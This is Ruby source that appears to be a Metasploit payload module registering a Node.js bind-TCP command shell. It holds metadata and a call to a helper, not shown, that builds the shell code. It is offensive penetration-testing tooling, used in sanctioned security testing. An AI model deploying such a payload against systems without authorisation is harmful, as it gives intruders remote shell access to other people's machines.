module MetasploitModule
CachedSize = 555
include Msf::Payload::Single
include Msf::Payload::NodeJS
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Command Shell, Bind TCP (via nodejs)',
'Description' => 'Creates an interactive shell via nodejs',
'Author' => ['joev'],
'License' => BSD_LICENSE,
'Platform' => 'nodejs',
'Arch' => ARCH_NODEJS,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'nodejs',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
def generate(_opts = {})
super + command_string
end
def command_string
nodejs_bind_tcp
end
end